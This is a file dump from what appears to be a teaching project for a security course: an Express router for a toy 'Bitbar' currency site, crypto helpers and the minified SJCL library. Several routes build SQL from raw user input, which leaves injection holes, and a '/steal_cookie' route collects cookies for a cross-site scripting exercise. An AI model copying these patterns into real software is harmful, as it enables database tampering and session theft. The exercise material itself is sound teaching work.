85 | req.session.account = { 86 | username: req.body.username, 87 | hashedPassword, 88 | salt, 89 | profile: '', 90 | bitbars: 100, 91 | }; 92 | render(req, res, next,'register/success', 'Bitbar Home'); 93 | logDatabaseState(); 94 | })); 95 | 96 | 97 | router.get('/close', asyncMiddleware(async (req, res, next) => { 98 | if(req.session.loggedIn == false) { 99 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 100 | return; 101 | }; 102 | const db = await dbPromise; 103 | const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`; 104 | await db.get(query); 105 | req.session.loggedIn = false; 106 | req.session.account = {}; 107 | render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!'); 108 | logDatabaseState(); 109 | })); 110 | 111 | 112 | router.get('/logout', (req, res, next) => { 113 | req.session.loggedIn = false; 114 | req.session.account = {}; 115 | render(req, res, next, 'index', 'Bitbar Home', 'Logged out successfully!'); 116 | logDatabaseState(); 117 | }); 118 | 119 | 120 | router.get('/profile', asyncMiddleware(async (req, res, next) => { 121 | if(req.session.loggedIn == false) { 122 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 123 | return; 124 | }; 125 | 126 | if(req.query.username != null) { // if visitor makes a search query 127 | const db = await dbPromise; 128 | const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`; 129 | let result; 130 | try { 131 | result = await db.get(query); 132 | } catch(err) { 133 | result = false; 134 | } 135 | if(result) { // if user exists 136 | render(req, res, next, 'profile/view', 'View Profile', false, result); 137 | } 138 | else { // user does not exist 139 | render(req, res, next, 'profile/view', 'View Profile', `${req.query.username} does not exist!`, req.session.account); 140 | } 141 | } else { // visitor did not make query, show them their own profile 142 | render(req, res, next, 'profile/view', 'View Profile', false, req.session.account); 143 | } 144 | logDatabaseState(); 145 | })); 146 | 147 | 148 | router.get('/transfer', (req, res, next) => { 149 | if(req.session.loggedIn == false) { 150 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 151 | return; 152 | }; 153 | render(req, res, next, 'transfer/form', 'Transfer Bitbars', false, {receiver:null, amount:null}); 154 | logDatabaseState(); 155 | }); 156 | 157 | 158 | router.post('/post_transfer', asyncMiddleware(async(req, res, next) => { 159 | if(req.session.loggedIn == false) { 160 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 161 | return; 162 | }; 163 | 164 | if(req.body.destination_username === req.session.account.username) { 165 | render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'You cannot send money to yourself!', {receiver:null, amount:null}); 166 | return; 167 | } 168 | 169 | const db = await dbPromise; 170 | let query = `SELECT * FROM Users WHERE username == "${req.body.destination_username}";`; 171 | const receiver = await db.get(query); 172 | if(receiver) { // if user exists 173 | const amount = parseInt(req.body.quantity); 174 | if(Number.isNaN(amount) || amount > req.session.account.bitbars || amount < 1) { 175 | render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'Invalid transfer amount!', {receiver:null, amount:null}); 176 | return; 177 | } 178 | 179 | req.session.account.bitbars -= amount; 180 | query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`; 181 | await db.exec(query); 182 | const receiverNewBal = receiver.bitbars + amount; 183 | query = `UPDATE Users SET bitbars = "${receiverNewBal}" WHERE username == "${receiver.username}";`; 184 | await db.exec(query); 185 | render(req, res, next, 'transfer/success', 'Transfer Complete', false, {receiver, amount}); 186 | } else { // user does not exist 187 | render(req, res, next, 'transfer/form', 'Transfer Bitbars', 'This user does not exist!', {receiver:null, amount:null}); 188 | } 189 | logDatabaseState(); 190 | })); 191 | 192 | 193 | router.get('/steal_cookie', (req, res, next) => { 194 | let stolenCookie = req.query.cookie; 195 | console.log('\n\n' + stolenCookie + '\n\n'); 196 | render(req, res, next, 'theft/view_stolen_cookie', 'Cookie Stolen!', false, stolenCookie); 197 | logDatabaseState(); 198 | }); 199 | 200 | 201 | module.exports = router; 202 | 203 | async function logDatabaseState() { 204 | const db = await dbPromise; 205 | const query = `SELECT * FROM Users`; 206 | const result = await db.all(query); 207 | console.log(result); 208 | } 209 | -------------------------------------------------------------------------------- /proj2/code/utils/asyncMiddleware.js: -------------------------------------------------------------------------------- 1 | /* 2 | if there is an error thrown in an asynchronous function passed 3 | asyncMiddleware, then asyncMiddleware 4 | will pass the error to next() and express will handle the error 5 | by sending the client a 500 code with an explanation of the error; 6 | */ 7 | 8 | export const asyncMiddleware = fn => 9 | (req, res, next) => { 10 | Promise.resolve(fn(req, res, next)) 11 | .catch(next); 12 | }; 13 | -------------------------------------------------------------------------------- /proj2/code/utils/crypto.js: -------------------------------------------------------------------------------- 1 | // Wrapper functions for Stanford JavaScript Crypto Library 2 | 3 | import sjcl from "./sjcl"; 4 | 5 | export function generateRandomness() { 6 | return sjcl.codec.hex.fromBits(sjcl.random.randomWords(8)); 7 | } 8 | 9 | export function KDF(password, salt) { 10 | // takes a string as input 11 | // outputs a hex-encoded string 12 | const bitarrayOutput = sjcl.misc.pbkdf2(password, salt, 100000); 13 | return sjcl.codec.hex.fromBits(bitarrayOutput); 14 | } 15 | 16 | export function checkPassword(password, dbResult) { 17 | const inputKDFResult = KDF(password, dbResult.salt); 18 | if(inputKDFResult == dbResult.hashedPassword) { 19 | return true; 20 | } 21 | return false; 22 | } 23 | 24 | export function HMAC(key, data) { 25 | // Returns the HMAC on the data. 26 | // key is a hex-encoded string 27 | // data is a string (any encoding is fine) 28 | let hmacObject = new sjcl.misc.hmac(sjcl.codec.hex.toBits(key), sjcl.hash.sha256); 29 | const bitarrayOutput = hmacObject.encrypt(data); 30 | return sjcl.codec.hex.fromBits(bitarrayOutput); 31 | } 32 | -------------------------------------------------------------------------------- /proj2/code/utils/sjcl.js: -------------------------------------------------------------------------------- 1 | "use strict";var sjcl={cipher:{},hash:{},keyexchange:{},mode:{},misc:{},codec:{},exception:{corrupt:function(a){this.toString=function(){return"CORRUPT: "+this.message};this.message=a},invalid:function(a){this.toString=function(){return"INVALID: "+this.message};this.message=a},bug:function(a){this.toString=function(){return"BUG: "+this.message};this.message=a},notReady:function(a){this.toString=function(){return"NOT READY: "+this.message};this.message=a}}}; 2 | sjcl.cipher.aes=function(a){this.M[0][0][0]||this.T();var b,d,c,e,f=this.M[0][4],g=this.M[1];b=a.length;var h=1;if(4!==b&&6!==b&&8!==b)throw new sjcl.exception.invalid("invalid aes key size");this.i=[c=a.slice(0),e=[]];for(a=b;a<4*b+28;a++){d=c[a-1];if(0===a%b||8===b&&4===a%b)d=f[d>>>24]<<24^f[d>>16&255]<<16^f[d>>8&255]<<8^f[d&255],0===a%b&&(d=d<<8^d>>>24^h<<24,h=h<<1^283*(h>>7));c[a]=c[a-b]^d}for(b=0;a;b++,a--)d=c[b&3?a:a-4],e[b]=4>=a||4>b?d:g[0][f[d>>>24]]^g[1][f[d>>16&255]]^g[2][f[d>>8&255]]^g[3][f[d& 3 | 255]]}; 4 | sjcl.cipher.aes.prototype={encrypt:function(a){return ba(this,a,0)},decrypt:function(a){return ba(this,a,1)},M:[[[],[],[],[],[]],[[],[],[],[],[]]],T:function(){var a=this.M[0],b=this.M[1],d=a[4],c=b[4],e,f,g,h=[],k=[],l,m,n,p;for(e=0;0x100>e;e++)k[(h[e]=e<<1^283*(e>>7))^e]=e;for(f=g=0;!d[f];f^=l||1,g=k[g]||1)for(n=g^g<<1^g<<2^g<<3^g<<4,n=n>>8^n&255^99,d[f]=n,c[n]=f,m=h[e=h[l=h[f]]],p=0x1010101*m^0x10001*e^0x101*l^0x1010100*f,m=0x101*h[n]^0x1010100*n,e=0;4>e;e++)a[e][f]=m=m<<24^m>>>8,b[e][n]=p=p<<24^p>>>8;for(e= 5 | 0;5>e;e++)a[e]=a[e].slice(0),b[e]=b[e].slice(0)}}; 6 | function ba(a,b,d){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var c=a.i[d],e=b[0]^c[0],f=b[d?3:1]^c[1],g=b[2]^c[2];b=b[d?1:3]^c[3];var h,k,l,m=c.length/4-2,n,p=4,r=[0,0,0,0];h=a.M[d];a=h[0];var t=h[1],I=h[2],H=h[3],x=h[4];for(n=0;n>>24]^t[f>>16&255]^I[g>>8&255]^H[b&255]^c[p],k=a[f>>>24]^t[g>>16&255]^I[b>>8&255]^H[e&255]^c[p+1],l=a[g>>>24]^t[b>>16&255]^I[e>>8&255]^H[f&255]^c[p+2],b=a[b>>>24]^t[e>>16&255]^I[f>>8&255]^H[g&255]^c[p+3],p+=4,e=h,f=k,g=l;for(n= 7 | 0;4>n;n++)r[d?3&-n:n]=x[e>>>24]<<24^x[f>>16&255]<<16^x[g>>8&255]<<8^x[b&255]^c[p++],h=e,e=f,f=g,g=b,b=h;return r} 8 | sjcl.bitArray={bitSlice:function(a,b,d){a=sjcl.bitArray.ra(a.slice(b/32),32-(b&31)).slice(1);return void 0===d?a:sjcl.bitArray.clamp(a,d-b)},extract:function(a,b,d){var c=Math.floor(-b-d&31);return((b+d-1^b)&-32?a[b/32|0]<<32-c^a[b/32+1|0]>>>c:a[b/32|0]>>>c)&(1<>b-1,1));return a},partial:function(a,b,d){return 32===a?b:(d?b|0:b<<32-a)+0x10000000000*a},getPartial:function(a){return Math.round(a/0x10000000000)||32},equal:function(a,b){if(sjcl.bitArray.bitLength(a)!==sjcl.bitArray.bitLength(b))return!1;var d=0,c;for(c=0;c>>b),d=a[e]<<32-b;e=a.length?a[a.length-1]:0;a=sjcl.bitArray.getPartial(e);c.push(sjcl.bitArray.partial(b+a&31,32>>24|d>>>8&0xff00|(d&0xff00)<<8|d<<24;return a}}; 11 | sjcl.codec.utf8String={fromBits:function(a){var b="",d=sjcl.bitArray.bitLength(a),c,e;for(c=0;c>>8>>>8>>>8),e<<=8;return decodeURIComponent(escape(b))},toBits:function(a){a=unescape(encodeURIComponent(a));var b=[],d,c=0;for(d=0;d>>g)>>>e),gm){if(!b)try{return sjcl.codec.base32hex.toBits(a)}catch(p){}throw new sjcl.exception.invalid("this isn't "+n+"!");}h>e?(h-=e,f.push(l^m>>>h),l=m<>>e)>>>26),6>e?(g=a[d]<<6-e,e+=26,d++):(g<<=6,e-=6);for(;c.length&3&&!b;)c+="=";return c},toBits:function(a,b){a=a.replace(/\s|=/g,"");var d=[],c,e=0,f=sjcl.codec.base64.D,g=0,h;b&&(f=f.substr(0,62)+"-_");for(c=0;ch)throw new sjcl.exception.invalid("this isn't base64!");26>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&d.push(sjcl.bitArray.partial(e&56,g,1));return d}};sjcl.codec.base64url={fromBits:function(a){return sjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){return sjcl.codec.base64.toBits(a,1)}}; 18 | sjcl.codec.bytes={fromBits:function(a){var b=[],d=sjcl.bitArray.bitLength(a),c,e;for(c=0;c>>24),e<<=8;return b},toBits:function(a){var b=[],d,c=0;for(d=0;d()[]{}@%$#",ya:[0,68,0,84,83,82,72,0,75,76,70,65,0,63,62,69,0,1,2,3,4,5,6,7,8,9,64,0,73,66,74,71,81,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,77,0,78,67,0,0,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,79,0,80,0,0],fromBits:function(a){if(!a)return null;if(0!==sjcl.bitArray.bitLength(a)%32)throw new sjcl.exception.invalid("Invalid bitArray length!"); 20 | for(var b="",d=sjcl.codec.z85.D,c=0;cg;++g)f=0x100*f+(e>>>8*(4-g-1)&255);for(e=52200625;e;)b+=d.charAt(Math.floor(f/e)%85),e=Math.floor(e/85)}if(b.length!==5*a.length)throw new sjcl.exception.invalid("Bad Z85 conversion!");return b},toBits:function(a){if(!a)return[];if(0!==a.length%5)throw new sjcl.exception.invalid("Invalid Z85 string!");for(var b=[],d=0,c=sjcl.codec.z85.ya,e=0,f=0,g=0;gb;d++){e=!0;for(c=2;c*c<=d;c++)if(0===d%c){e= 24 | !1;break}e&&(8>b&&(this.A[b]=a(Math.pow(d,.5))),this.i[b]=a(Math.pow(d,1/3)),b++)}},m:function(a){var b,d,c,e=this.c,f=this.i,g=e[0],h=e[1],k=e[2],l=e[3],m=e[4],n=e[5],p=e[6],r=e[7];for(b=0;64>b;b++)16>b?d=a[b]:(d=a[b+1&15],c=a[b+14&15],d=a[b&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(c>>>17^c>>>19^c>>>10^c<<15^c<<13)+a[b&15]+a[b+9&15]|0),d=d+r+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(p^m&(n^p))+f[b],r=p,p=n,n=m,m=l+d|0,l=k,k=h,h=g,g=d+(h&k^l&(h^k))+(h>>>2^h>>>13^h>>>22^h<<30^h<<19^h<<10)|0;e[0]=e[0]+g| 25 | 0;e[1]=e[1]+h|0;e[2]=e[2]+k|0;e[3]=e[3]+l|0;e[4]=e[4]+m|0;e[5]=e[5]+n|0;e[6]=e[6]+p|0;e[7]=e[7]+r|0}};sjcl.hash.sha512=function(a){this.i[0]||this.T();a?(this.c=a.c.slice(0),this.h=a.h.slice(0),this.f=a.f):this.reset()};sjcl.hash.sha512.hash=function(a){return(new sjcl.hash.sha512).update(a).finalize()}; 26 | sjcl.hash.sha512.prototype={blockSize:1024,reset:function(){this.c=this.A.slice(0);this.h=[];this.f=0;return this},update:function(a){"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));var b,d=this.h=sjcl.bitArray.concat(this.h,a);b=this.f;a=this.f=b+sjcl.bitArray.bitLength(a);if(0x1fffffffffffffd;c++){f=!0;for(e=2;e*e<=c;e++)if(0===c%e){f=!1;break}f&&(8>d&&(this.A[2*d]=a(Math.pow(c,.5)),this.A[2*d+1]=b(Math.pow(c,.5))<<24|this.Fa[d]),this.i[2*d]=a(Math.pow(c,1/3)),this.i[2*d+1]=b(Math.pow(c,1/3))<<24|this.Ha[d],d++)}},m:function(a){var b, 30 | d,c=this.c,e=this.i,f=c[0],g=c[1],h=c[2],k=c[3],l=c[4],m=c[5],n=c[6],p=c[7],r=c[8],t=c[9],I=c[10],H=c[11],x=c[12],B=c[13],A=c[14],y=c[15],u;if("undefined"!==typeof Uint32Array){u=Array(160);for(var v=0;32>v;v++)u[v]=a[v]}else u=a;var v=f,q=g,w=h,J=k,L=l,K=m,X=n,M=p,D=r,C=t,T=I,N=H,U=x,O=B,Y=A,P=y;for(a=0;80>a;a++){if(16>a)b=u[2*a],d=u[2*a+1];else{d=u[2*(a-15)];var z=u[2*(a-15)+1];b=(z<<31|d>>>1)^(z<<24|d>>>8)^d>>>7;var E=(d<<31|z>>>1)^(d<<24|z>>>8)^(d<<25|z>>>7);d=u[2*(a-2)];var F=u[2*(a-2)+1],z= 31 | (F<<13|d>>>19)^(d<<3|F>>>29)^d>>>6,F=(d<<13|F>>>19)^(F<<3|d>>>29)^(d<<26|F>>>6),Z=u[2*(a-7)],aa=u[2*(a-16)],Q=u[2*(a-16)+1];d=E+u[2*(a-7)+1];b=b+Z+(d>>>0>>0?1:0);d+=F;b+=z+(d>>>0>>0?1:0);d+=Q;b+=aa+(d>>>0>>0?1:0)}u[2*a]=b|=0;u[2*a+1]=d|=0;var Z=D&T^~D&U,ga=C&N^~C&O,F=v&w^v&L^w&L,ka=q&J^q&K^J&K,aa=(q<<4|v>>>28)^(v<<30|q>>>2)^(v<<25|q>>>7),Q=(v<<4|q>>>28)^(q<<30|v>>>2)^(q<<25|v>>>7),la=e[2*a],ha=e[2*a+1],z=P+((D<<18|C>>>14)^(D<<14|C>>>18)^(C<<23|D>>>9)),E=Y+((C<<18|D>>>14)^(C<<14|D>>>18)^(D<< 32 | 23|C>>>9))+(z>>>0

>>0?1:0),z=z+ga,E=E+(Z+(z>>>0>>0?1:0)),z=z+ha,E=E+(la+(z>>>0>>0?1:0)),z=z+d|0,E=E+(b+(z>>>0>>0?1:0));d=Q+ka;b=aa+F+(d>>>0>>0?1:0);Y=U;P=O;U=T;O=N;T=D;N=C;C=M+z|0;D=X+E+(C>>>0>>0?1:0)|0;X=L;M=K;L=w;K=J;w=v;J=q;q=z+d|0;v=E+b+(q>>>0>>0?1:0)|0}g=c[1]=g+q|0;c[0]=f+v+(g>>>0>>0?1:0)|0;k=c[3]=k+J|0;c[2]=h+w+(k>>>0>>0?1:0)|0;m=c[5]=m+K|0;c[4]=l+L+(m>>>0>>0?1:0)|0;p=c[7]=p+M|0;c[6]=n+X+(p>>>0>>0?1:0)|0;t=c[9]=t+C|0;c[8]=r+D+(t>>>0>>0?1:0)|0;H=c[11]=H+N| 33 | 0;c[10]=I+T+(H>>>0>>0?1:0)|0;B=c[13]=B+O|0;c[12]=x+U+(B>>>0>>0?1:0)|0;y=c[15]=y+P|0;c[14]=A+Y+(y>>>0

>>0?1:0)|0}};sjcl.hash.sha1=function(a){a?(this.c=a.c.slice(0),this.h=a.h.slice(0),this.f=a.f):this.reset()};sjcl.hash.sha1.hash=function(a){return(new sjcl.hash.sha1).update(a).finalize()}; 34 | sjcl.hash.sha1.prototype={blockSize:512,reset:function(){this.c=this.A.slice(0);this.h=[];this.f=0;return this},update:function(a){"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));var b,d=this.h=sjcl.bitArray.concat(this.h,a);b=this.f;a=this.f=b+sjcl.bitArray.bitLength(a);if(0x1fffffffffffffd;d++)k[d]=a[d];else k=a;d=h[0];c=h[1];e=h[2];f=h[3];g=h[4];for(a=0;79>=a;a++)16<=a&&(b=k[a-3]^k[a-8]^k[a-14]^k[a-16],k[a]=b<<1|b>>>31),b=19>=a?c&e|~c&f:39>=a?c^e^f:59>=a?c&e|c&f|e&f:79>=a?c^e^f:void 0,b=(d<<5|d>>>27)+b+g+k[a]+this.i[Math.floor(a/20)]|0,g=f,f=e,e=c<<30|c>>>2,c=d,d=b;h[0]=h[0]+d|0;h[1]=h[1]+c|0;h[2]=h[2]+e|0;h[3]=h[3]+f|0;h[4]=h[4]+g|0}}; 37 | sjcl.mode.ccm={name:"ccm",W:[],listenProgress:function(a){sjcl.mode.ccm.W.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.W.indexOf(a);-1k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);d=h.clamp(d, 38 | 8*(15-f));b=sjcl.mode.ccm.R(a,b,d,c,e,f);g=sjcl.mode.ccm.u(a,g,d,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,d,c,e){e=e||64;c=c||[];var f=sjcl.bitArray,g=f.bitLength(d)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);d=f.clamp(d,8*(15-b));k=sjcl.mode.ccm.u(a,k,d,l,e,b);a=sjcl.mode.ccm.R(a,k.data,d,c,e,b);if(!f.equal(k.tag,a))throw new sjcl.exception.corrupt("ccm: tag doesn't match"); 39 | return k.data},oa:function(a,b,d,c,e,f){var g=[],h=sjcl.bitArray,k=h.l;c=[h.partial(8,(b.length?64:0)|c-2<<2|f-1)];c=h.concat(c,d);c[3]|=e;c=a.encrypt(c);if(b.length)for(d=h.bitLength(b)/8,65279>=d?g=[h.partial(16,d)]:0xffffffff>=d&&(g=h.concat([h.partial(16,65534)],[d])),g=h.concat(g,b),b=0;be||16m&&(sjcl.mode.ccm.ha(g/ 41 | k),m+=n),d[3]++,e=a.encrypt(d),b[g]^=e[0],b[g+1]^=e[1],b[g+2]^=e[2],b[g+3]^=e[3];return{tag:c,data:h.clamp(b,l)}}};void 0===sjcl.beware&&(sjcl.beware={}); 42 | sjcl.beware["CTR mode is dangerous because it doesn't protect message integrity."]=function(){sjcl.mode.ctr={name:"ctr",encrypt:function(a,b,d,c){return sjcl.mode.ctr.ga(a,b,d,c)},decrypt:function(a,b,d,c){return sjcl.mode.ctr.ga(a,b,d,c)},ga:function(a,b,d,c){var e,f,g;if(c&&c.length)throw new sjcl.exception.invalid("ctr can't authenticate data");if(128!==sjcl.bitArray.bitLength(d))throw new sjcl.exception.invalid("ctr iv must be 128 bits");if(!(c=b.length))return[];d=d.slice(0);e=b.slice(0);b=sjcl.bitArray.bitLength(e); 43 | for(g=0;g>3&15));d=a.encrypt(f(d,e.concat(b,[g,g,g,g]).slice(c,c+4)));k.splice(c,0,d[0],d[1],d[2],d[3]);return k},decrypt:function(a,b,d,c){if(c&&c.length)throw new sjcl.exception.invalid("cbc can't authenticate data");if(128!==sjcl.bitArray.bitLength(d))throw new sjcl.exception.invalid("cbc iv must be 128 bits");if(sjcl.bitArray.bitLength(b)&127||!b.length)throw new sjcl.exception.corrupt("cbc ciphertext must be a positive multiple of the block size"); 46 | var e=sjcl.bitArray,f=e.l,g,h=[];for(c=0;ce.bitLength(d)&&(h=f(h,c(h)),d=e.concat(d,[-2147483648,0,0,0]));g=f(g,d); 50 | return a.encrypt(f(c(f(h,c(h))),g))},U:function(a){return[a[0]<<1^a[1]>>>31,a[1]<<1^a[2]>>>31,a[2]<<1^a[3]>>>31,a[3]<<1^135*(a[0]>>>31)]}}; 51 | sjcl.mode.ocb2progressive={createEncryptor:function(a,b,d,c,e){if(128!==sjcl.bitArray.bitLength(b))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var f,g=sjcl.mode.ocb2.U,h=sjcl.bitArray,k=h.l,l=[0,0,0,0],m=g(a.encrypt(b)),n,p,r=[],t;d=d||[];c=c||64;return{process:function(b){if(0==sjcl.bitArray.bitLength(b))return[];var d=[];r=r.concat(b);for(f=0;f+4d;d++){(c=0!==(a[Math.floor(d/32)]&1<<31-d%32))&&(e=h(e,f));g=0!==(f[3]&1);for(c=3;0>>1|(f[c-1]&1)<<31;f[0]>>>=1;g&&(f[0]^=-0x1f000000)}return e},J:function(a,b,d){var c,e=d.length;b=b.slice(0);for(c=0;ce&&(a=b.hash(a));for(c=0;cc||0>d)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],m=sjcl.bitArray;for(k=1;32*l.length<(c||1);k++){e=f=a.encrypt(m.concat(b,[k]));for(g=1;g=Math.pow(2,30))throw sjcl.exception.invalid("The parameters r, p must satisfy r * p < 2^30");if(2>d||d&0!=d-1)throw sjcl.exception.invalid("The parameter N must be a power of 2.");if(d>h/128/c)throw sjcl.exception.invalid("N too big.");if(c>h/128/e)throw sjcl.exception.invalid("r too big.");b=sjcl.misc.pbkdf2(a,b,1,128*e*c*8,g);c=b.length/e;k.reverse(b);for(h=0;h>>32-b}for(var c=a.slice(0),e=b;0e;e++)a[e]=c[e]+a[e]}; 65 | sjcl.misc.scrypt.blockMix=function(a){for(var b=a.slice(-16),d=[],c=a.length/16,e=sjcl.misc.scrypt,f=0;f>>8&255,d=d<<8|a[b]>>>16&255,d=d<<8|a[b]>>>24&255;a[b]=d}};sjcl.misc.scrypt.blockcopy=function(a,b,d,c,e){var f;e=e||a.length-b;for(f=0;fg;g++)e.push(0x100000000*Math.random()|0);for(g=0;g=1<this.L&&(this.L= 69 | f);this.da++;this.i=sjcl.hash.sha256.hash(this.i.concat(e));this.aa=new sjcl.cipher.aes(this.i);for(c=0;4>c&&(this.F[c]=this.F[c]+1|0,!this.F[c]);c++);}for(c=0;c>>1;this.s[g].update([c,this.ca++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.s[g].update([c,this.ca++,3,b,f,a.length]);this.s[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.K[g]+=b;this.B+=b;h===this.O&&(this.isReady()!==this.O&&ea("seeded",Math.max(this.L,this.B)),ea("progress",this.getProgress()))}, 72 | isReady:function(a){a=this.fa[void 0!==a?a:this.ba];return this.L&&this.L>=a?this.K[0]>this.ua&&(new Date).valueOf()>this.qa?this.Z|this.Y:this.Y:this.B>=a?this.Z|this.O:this.O},getProgress:function(a){a=this.fa[a?a:this.ba];return this.L>=a?1:this.B>a?1:this.B/a},startCollectors:function(){if(!this.V){this.j={loadTimeCollector:G(this,this.Ia),mouseCollector:G(this,this.Ja),keyboardCollector:G(this,this.Ga),accelerometerCollector:G(this,this.xa),touchCollector:G(this,this.La)};if(window.addEventListener)window.addEventListener("load", 73 | this.j.loadTimeCollector,!1),window.addEventListener("mousemove",this.j.mouseCollector,!1),window.addEventListener("keypress",this.j.keyboardCollector,!1),window.addEventListener("devicemotion",this.j.accelerometerCollector,!1),window.addEventListener("touchmove",this.j.touchCollector,!1);else if(document.attachEvent)document.attachEvent("onload",this.j.loadTimeCollector),document.attachEvent("onmousemove",this.j.mouseCollector),document.attachEvent("keypress",this.j.keyboardCollector);else throw new sjcl.exception.bug("can't attach event"); 74 | this.V=!0}},stopCollectors:function(){this.V&&(window.removeEventListener?(window.removeEventListener("load",this.j.loadTimeCollector,!1),window.removeEventListener("mousemove",this.j.mouseCollector,!1),window.removeEventListener("keypress",this.j.keyboardCollector,!1),window.removeEventListener("devicemotion",this.j.accelerometerCollector,!1),window.removeEventListener("touchmove",this.j.touchCollector,!1)):document.detachEvent&&(document.detachEvent("onload",this.j.loadTimeCollector),document.detachEvent("onmousemove", 75 | this.j.mouseCollector),document.detachEvent("keypress",this.j.keyboardCollector)),this.V=!1)},addEventListener:function(a,b){this.$[a][this.za++]=b},removeEventListener:function(a,b){var d,c,e=this.$[a],f=[];for(c in e)e.hasOwnProperty(c)&&e[c]===b&&f.push(c);for(d=0;db&&(a.F[b]=a.F[b]+1|0,!a.F[b]);b++);return a.aa.encrypt(a.F)} 78 | function G(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6); 79 | a:try{var S,fa,V,ia;if(ia="undefined"!==typeof module&&module.exports){var ja;try{ja=require("crypto")}catch(a){ja=null}ia=fa=ja}if(ia&&fa.randomBytes)S=fa.randomBytes(128),S=new Uint32Array((new Uint8Array(S)).buffer),sjcl.random.addEntropy(S,1024,"crypto['randomBytes']");else if("undefined"!==typeof window&&"undefined"!==typeof Uint32Array){V=new Uint32Array(32);if(window.crypto&&window.crypto.getRandomValues)window.crypto.getRandomValues(V);else if(window.msCrypto&&window.msCrypto.getRandomValues)window.msCrypto.getRandomValues(V); 80 | else break a;sjcl.random.addEntropy(V,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))} 81 | sjcl.json={defaults:{v:1,iter:1E4,ks:128,ts:64,mode:"ccm",adata:"",cipher:"aes"},Ca:function(a,b,d,c){d=d||{};c=c||{};var e=sjcl.json,f=e.C({iv:sjcl.random.randomWords(4,0)},e.defaults),g;e.C(f,d);d=f.adata;"string"===typeof f.salt&&(f.salt=sjcl.codec.base64.toBits(f.salt));"string"===typeof f.iv&&(f.iv=sjcl.codec.base64.toBits(f.iv));if(!sjcl.mode[f.mode]||!sjcl.cipher[f.cipher]||"string"===typeof a&&100>=f.iter||64!==f.ts&&96!==f.ts&&128!==f.ts||128!==f.ks&&192!==f.ks&&0x100!==f.ks||2>f.iv.length|| 82 | 4=b.iter||64!==b.ts&&96!==b.ts&&128!==b.ts||128!==b.ks&&192!==b.ks&&0x100!==b.ks||!b.iv||2>b.iv.length||4=this.limbs.length?0:this.limbs[a]},greaterEquals:function(a){"number"===typeof a&&(a=new this.o(a));var b=0,d=0,c,e,f;for(c=Math.max(this.limbs.length,a.limbs.length)-1;0<=c;c--)e=this.getLimb(c),f=a.getLimb(c),d|=f-e&~b,b|=e-f&~d;return(d|~b)>>>31},toString:function(){this.fullReduce();var a="",b,d,c=this.limbs;for(b=0;bd.length;)d="0"+d;a=d+a}return"0x"+a},addM:function(a){"object"!==typeof a&&(a=new this.o(a));var b=this.limbs,d=a.limbs;for(a=b.length;a>c;b&&f.push(b);return this},halveM:function(){var a,b=0,d,c=this.radix,e=this.limbs;for(a=e.length-1;0<=a;a--)d=e[a],e[a]=d+b>> 92 | 1,b=(d&1)<>d+1)break;e=e.square()}return c},mulmod:function(a,b){return this.mod(b).mul(a.mod(b)).mod(b)},powermod:function(a,b){a=new sjcl.bn(a);b=new sjcl.bn(b);if(1==(b.limbs[0]&1)){var d=this.montpowermod(a,b);if(0!=d)return d}for(var c,e=a.normalize().trim().limbs,f=new this.o(1),g=this,d=0;d>c+1)break;g=g.mulmod(g,b)}return f},montpowermod:function(a,b){function d(a,b){var d=b%a.radix;return(a.limbs[Math.floor(b/a.radix)]&1<>d}function c(a,d){var c,e,f=(1<>=l+1;e.greaterEquals(b)&& 97 | e.subM(b);return e}a=(new sjcl.bn(a)).normalize().trim();b=new sjcl.bn(b);var e,f,g=this.radix,h=new this.o(1);e=this.copy();var k,l,m;m=a.bitLength();k=new sjcl.bn({limbs:b.copy().normalize().trim().limbs.map(function(){return 0})});for(l=this.radix;0>l&1)){k.limbs[k.limbs.length-1]=1<m?1:48>m?3:144>m?4:768>m?5:6;var n=k.copy(),p=b.copy();f=new sjcl.bn(1);for(var r=new sjcl.bn(0),t=k.copy();t.greaterEquals(1);)t.halveM(),0== 98 | (f.limbs[0]&1)?(f.halveM(),r.halveM()):(f.addM(p),f.halveM(),r.halveM(),r.addM(n));f=f.normalize();r=r.normalize();n.doubleM();p=n.mulmod(n,b);if(!n.mul(f).sub(b.mul(r)).equals(1))return!1;e=c(e,p);h=c(h,p);n={};f=(1<>>=1)a++;return a+7&-8}}; 101 | 